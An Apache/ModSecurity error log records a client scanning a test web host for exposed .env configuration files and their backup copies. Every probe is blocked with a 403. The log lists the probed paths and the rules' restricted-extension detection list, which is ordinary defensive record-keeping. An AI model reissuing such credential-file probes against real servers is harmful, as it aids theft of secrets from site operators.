[Sun Oct 26 01:25:20.798012 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/includes/.env.save"] [unique_id "aP1cYBXkZeq6T3EwQbX-tQAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:20.798231 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/includes/.env.save"] [unique_id "aP1cYBXkZeq6T3EwQbX-tQAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:21.403364 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/includes/.env.bak"] [unique_id "aP1cYRXkZeq6T3EwQbX-tgAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:21.403576 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /includes/.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/includes/.env.bak"] [unique_id "aP1cYRXkZeq6T3EwQbX-tgAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:21.403858 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/includes/.env.bak"] [unique_id "aP1cYRXkZeq6T3EwQbX-tgAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:21.404063 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/includes/.env.bak"] [unique_id "aP1cYRXkZeq6T3EwQbX-tgAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:22.009252 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/includes/.env.old"] [unique_id "aP1cYhXkZeq6T3EwQbX-twAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:22.009441 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /includes/.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/includes/.env.old"] [unique_id "aP1cYhXkZeq6T3EwQbX-twAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:22.009675 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/includes/.env.old"] [unique_id "aP1cYhXkZeq6T3EwQbX-twAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:22.009876 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/includes/.env.old"] [unique_id "aP1cYhXkZeq6T3EwQbX-twAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:22.639573 2025] [authz_core:error] [pid 3767666] [client 3.107.185.28:37518] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/lib/.env, referer: https://www.google.com/
[Sun Oct 26 01:25:23.244769 2025] [authz_core:error] [pid 3767666] [client 3.107.185.28:37518] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/lib/.env.save, referer: https://www.google.com/
[Sun Oct 26 01:25:23.850006 2025] [authz_core:error] [pid 3767666] [client 3.107.185.28:37518] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/lib/.env.bak, referer: https://www.google.com/
[Sun Oct 26 01:25:24.455317 2025] [authz_core:error] [pid 3767666] [client 3.107.185.28:37518] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/lib/.env.old, referer: https://www.google.com/
[Sun Oct 26 01:25:25.061148 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "aP1cZRXkZeq6T3EwQbX-vAAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:25.061456 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "aP1cZRXkZeq6T3EwQbX-vAAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:25.061711 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "aP1cZRXkZeq6T3EwQbX-vAAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:25.667459 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env.save"] [unique_id "aP1cZRXkZeq6T3EwQbX-vQAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:25.667728 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env.save"] [unique_id "aP1cZRXkZeq6T3EwQbX-vQAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:25.667936 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env.save"] [unique_id "aP1cZRXkZeq6T3EwQbX-vQAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:26.273671 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env.bak"] [unique_id "aP1cZhXkZeq6T3EwQbX-vgAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:26.273864 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env.bak"] [unique_id "aP1cZhXkZeq6T3EwQbX-vgAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:26.274103 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env.bak"] [unique_id "aP1cZhXkZeq6T3EwQbX-vgAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:26.274302 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env.bak"] [unique_id "aP1cZhXkZeq6T3EwQbX-vgAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:26.879459 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env.old"] [unique_id "aP1cZhXkZeq6T3EwQbX-vwAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:26.879648 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env.old"] [unique_id "aP1cZhXkZeq6T3EwQbX-vwAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:26.879904 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env.old"] [unique_id "aP1cZhXkZeq6T3EwQbX-vwAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:26.880110 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env.old"] [unique_id "aP1cZhXkZeq6T3EwQbX-vwAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:27.485520 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /system/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/system/.env"] [unique_id "aP1cZxXkZeq6T3EwQbX-wAAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:27.485813 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/system/.env"] [unique_id "aP1cZxXkZeq6T3EwQbX-wAAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:27.486414 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/system/.env"] [unique_id "aP1cZxXkZeq6T3EwQbX-wAAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:28.091769 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /system/.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/system/.env.save"] [unique_id "aP1caBXkZeq6T3EwQbX-wQAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:28.092024 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/system/.env.save"] [unique_id "aP1caBXkZeq6T3EwQbX-wQAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:28.092241 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/system/.env.save"] [unique_id "aP1caBXkZeq6T3EwQbX-wQAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:28.698833 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/system/.env.bak"] [unique_id "aP1caBXkZeq6T3EwQbX-wgAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:28.699032 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /system/.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/system/.env.bak"] [unique_id "aP1caBXkZeq6T3EwQbX-wgAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:28.699268 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/system/.env.bak"] [unique_id "aP1caBXkZeq6T3EwQbX-wgAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:25:28.699463 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/system/.env.bak"] [unique_id "aP1caBXkZeq6T3EwQbX-wgAAAAY"], referer: https://www.google.com/
